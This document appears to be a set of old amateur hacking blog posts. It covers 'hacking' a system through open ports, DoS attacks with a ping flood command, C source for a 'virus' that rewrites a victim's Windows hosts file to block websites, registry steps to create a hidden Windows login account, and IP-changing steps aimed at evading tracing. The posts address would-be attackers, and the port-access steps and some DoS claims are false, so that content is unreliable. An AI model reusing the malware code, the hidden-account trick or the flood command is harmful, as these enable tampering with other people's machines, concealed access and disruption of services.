Well as I already mentioned you can hack any system as it is conected to what we call "INTERNET". To connect internet a system allocates a port for communication and Data Transfer. So we got to do is to get into that port that is to be hacked.

Steps: -


1.Software PORT SCANNER from google.
2.The IP address of the victim whose port is open.
3.NETLAB which gives u all information includes victim IP address,Area from where he is accessing internet....
4.The IP of victim u found initially into NETLAB .
5.Thats it now you can access his system.
Note : This is really Hardcore Hacking and you should be very much careful while doing all this and you do all this on your own responsibility. This site is never responsible for anything you do after reading any article from this site and there are almost 50-50 chances that you may get caught so don't try this unless you are aware of everthing. Yes you can freak some of your friends by telling them that you can hack their systems very easily.
GAMER

DOS (Denial of Service) attacks, heard of them taking down servers,restricting traffic and even bringing down a country's communications. But, how do they work? A simple example would that being a heart. Let’s say the veins are the internet.And you are pumping blood through this tube. The blood is good traffic. What happens if you overload the veins with fat (bad traffic)? And so the heart has a failure and can’t pump blood to the other organs, a Denial of Service.

DOS attacks are one of the simplest ways to bring down a server, by overwhelming its bandwidth or computing

resources. A simple DOS attack code would be:

ping {ip} -t -l 50000

In which you can just enter into the command prompt. This command sends 50000 bytes (roughly 50 kilobytes) of data to the ip, in a single packet. The -t is to ping the specified host until stopped and -l is to specify the buffer size. DOS are commonly used by script kiddies.

However, DOS attacks may crash systems by overloading their computing resources like having a heart attack. Sooner or later you have to get to a doctor or die (no offense meant). This only works in older systems due to the tremendous increase in computing power.

To prevail in a DOS attack, however, the attacker's bandwidth must be wider than the defender's bandwidth to overwhelm it with traffic, so more fat can get to the heart. This is only for singular attacks only (one on one). However, in a DDOS(Distributed Denial of Service) attack, the attacker may use zombie computers to send packets to the victim, therefore intensifying the attack. Imagine a huge clog with more than a few hundred computers streaming it.

Instead of using zombie computers, attackers may also choose to spoof their ips to that of their victim's computer. By doing so, he can send ip packets to many computers, and so the computers respond in pinging to the sender's ip. However, the sender's ip has been spoofed and so they unknowingly flood the victim. This is known as a Reflected attack.

DOS attacks can be so harmful that they may cause system damage in which the system is attacked so badly when they exploit flaws in the system, and then 'update' the device to modify it to make it permanently unusable.

DOS defense tactics

Firewalls provide protection from some DOS attacks by differentiating good traffic from DOS attacks but however a more complex attack on port 80 would have the server fully vulnerable because it is the web service port. Another way is the ISP(Internet Service Provider) noticing the attack and disconnecting the attacker.

Rerouting traffic through routers to auxiliary servers to help in filtering the bad traffic from good traffic also helps as it weighs less strain on the main server and allocates computing resources. Another way is to hide the host. The best foolproof way, however, is to plug out the internet cable and wait it out.

DOS attack tools:
FATA-jack
HyperWRT
MDK2

Recent famous DOS attacks include:

The DOS attack of Georgia weeks after the Russian-Georgian war. This caused multiple Georgian servers to be shut down and overloaded communications.

In July 2008 4chan received a 10gbps attack and suffered 2 weeks of downtime.

In September 2008 Digg and Gamesurge went under heavy DOS attacks and became offline for 6 hours.
GAMER

Most of us are familiar with the virus that used to block Orkut and Youtube site.If you are curious about creating such a virus on your own, then you are in the right place.Tody I’ll teach you how to create a simple virus that block’s websites.And as usual I’ll use my favorite programming language ‘C’ to create this website blocking virus.I will give a brief introduction about this virus before I jump into the technical jargon.
This virus has been exclusively created in ‘C’.So, anyone with a basic knowledge of C will be able to understand the working of the virus.This virus need’s to be clicked only once by the victim.Once it is clicked, it’ll block a list of websites that has been specified in the source code.The victim will never be able to surf those websites unless he re-install’s the operating system.This blocking is not just confined to IE or Firefox.So once blocked, the site will not appear in any of the browser program.
NOTE: You can also block a website manually.But, here I have created a virus that automates all the steps involved in blocking.The manual blocking process is described in the post How to Block a Website ?
Here is the sourcecode of the virus.
#include
#include
#include
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
How to Compile ?
1. Download the source code here. Download the compiled module(virus) here.
2. Compile the sourcecode using any C/C++ compiler.
3. To test, run the compiled module. It will block the sites that is listed in the source code.
4. Once you run the file block_Site.exe, restart your browser program.Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
4. To remove the virus type the following the Run.
%windir%\system32\drivers\etc
5. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1—————————google.com
6. Delete all such entries which contain the names of blocked sites.


GAMER

Since we are going to do all the Editing in Window Registry it is Recommended to Back Up the Registry before going Further.
After you have Backed up your registry follow the Steps to Create your Hidden Account:

•First Goto Start -> Run -> Type regedit -> Enter
•In the Left Menu goto,

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList

•In the Right pane, Right click -> New -> String Value
•Right click on the new String Value and click Rename
•Type the Name of the Account you want to hide.
•Hit Enter then Right click on the String Value again and Change value to 0 which hides it. If you want it to be Visible to all Enter the Value 1.
•Now Save and Exit the Registry and Logoff.
•Goto welcome screen and Hit ctrl+alt+del twice to bring up Logon prompt
•Type hidden Accounts name and password
GAMER

!~~~GAMER~~~!

1. Click on "Start" in the bottom left hand corner of screen
2. Click on "Run"
3. Type in "command" and hit ok

You should now be at an MSDOS prompt screen.

4. Type "ipconfig /release" just like that, and hit "enter"
5. Type "exit" and leave the prompt
6. Right-click on "Network Places" or "My Network Places" on your desktop.
7. Click on "properties"

You should now be on a screen with something titled "Local Area Connection", or something close to that, and, if you have a network hooked up, all of your other networks.

8. Right click on "Local Area Connection" and click "properties"
9. Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab
10. Click on "Use the following IP address" under the "General" tab
11. Create an IP address (It doesn't matter what it is. I just type 1 and 2 until i fill the area up).
12. Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.
13. Hit the "Ok" button here
14. Hit the "Ok" button again

You should now be back to the "Local Area Connection" screen.

15. Right-click back on "Local Area Connection" and go to properties again.
16. Go back to the "TCP/IP" settings
17. This time, select "Obtain an IP address automatically"
tongue.gif 18. Hit "Ok"
19. Hit "Ok" again
20. You now have a new IP address

With a little practice, you can easily get this process down to 15 seconds.

P.S:
This only changes your dynamic IP address, not your ISP/IP address. If you plan on hacking a website with this trick be extremely careful, because if they try a little, they can trace it back

Yogesh